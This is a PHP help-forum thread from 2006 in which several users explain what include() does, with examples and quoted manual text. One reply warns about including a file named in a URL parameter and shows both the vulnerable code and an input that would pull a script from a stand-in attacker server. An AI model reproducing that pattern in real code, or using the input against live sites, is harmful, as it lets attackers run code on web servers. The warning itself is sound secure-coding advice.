/    Sign up×
Community /Pin to ProfileBookmark

hi all,

can any body please tell me what is the use of include() with the script…

thanks in advance….. ?

to post a comment
PHP

6 Comments(s)

Copy linkTweet thisAlerts:
@The_Little_GuyMay 30.2006 — to include a file within another file.

Say you want to make a navigation menu, you can put it in one file, maybe called nav.php

Then on the page where you put your navigation, you just use [B]include('nav.php');[/B] and bam all of your navigation is on that page. It save alot of coding time.

Another scenario...

You could make a file containing all your functions fuctions.php, and at the very beginning of your webpage files such as index.php you could use [B]include('fuctions.php');[/B] now instead of adding the fuctions to every page you just link to fuctions.php

This can be done with preset variables, page layouts, connecting to databases, hold a login layout, headers, footers, I think you get my drift.

Did that answer your question?
Copy linkTweet thisAlerts:
@vsspMay 30.2006 — Just link the another php file in your main page

vssp
Copy linkTweet thisAlerts:
@pcthugMay 30.2006 — [B][size=3][url=http://www.php.net/manual/en/function.include.php]include()[/url][/size]

[/B]


The [B][url=http://www.php.net/manual/en/function.include.php]include()[/url][/B] statement includes and evaluates the specified file.

The documentation below also applies to [B][url=http://www.php.net/manual/en/function.require.php]require()[/url][/B]. The two constructs are identical in every way except how they handle failure. [B][url=http://www.php.net/manual/en/function.include.php]include()[/url][/B] produces a [url=http://www.php.net/manual/en/phpdevel-errors.php#internal.e-warning]Warning[/url] while [B][url=http://www.php.net/manual/en/function.require.php]require()[/url][/B] results in a [url=http://www.php.net/manual/en/phpdevel-errors.php#internal.e-error]Fatal Error[/url]. In other words, use [B][url=http://www.php.net/manual/en/function.require.php]require()[/url][/B] if you want a missing file to halt processing of the page. [B][url=http://www.php.net/manual/en/function.include.php]include()[/url][/B] does not behave this way, the script will continue regardless. Be sure to have an appropriate [url=http://www.php.net/manual/en/ini.core.php#ini.include-path]include_path[/url] setting as well. Be warned that parse error in included file doesn't cause processing halting in PHP versions prior to PHP 4.3.5. Since this version, it does.

Files for including are first looked in include_path relative to the current working directory and then in include_path relative to the directory of current script. E.g. if your include_path is ., current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in include_path relative to the current working directory.

When a file is included, the code it contains inherits the [url=http://www.php.net/manual/en/language.variables.scope.php]variable scope[/url] of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.
Copy linkTweet thisAlerts:
@NogDogMay 30.2006 — hi all,

can any body please tell me what is the use of include() with the script...

thanks in advance..... ?[/QUOTE]

In case you are not aware of it, all of the PHP functions and commands are easily looked up via the following link in your web browser:

www.php.net/<function_name>

...where <function_name> is the name of the function/command you want to know about, e.g. "www.php.net/include".
Copy linkTweet thisAlerts:
@MrBarbyMay 30.2006 — Just don't do:

[code=php]
include($_GET[page]."php");
[/code]


This is quite useful - e.g. example.com/index.php?page=blog would include blog.php. However example.com/index.php?page=http://nastyserver.com/evilscript would include someone else's script and effectively give them full control of your site.

Always validate your includes ?
Copy linkTweet thisAlerts:
@anupriyaMay 31.2006 — hi jeny ................

Can u see in this link "in2.php.net/manual/en/function.include.php" can u understand i think
×

Success!

Help @jeny spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.19,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...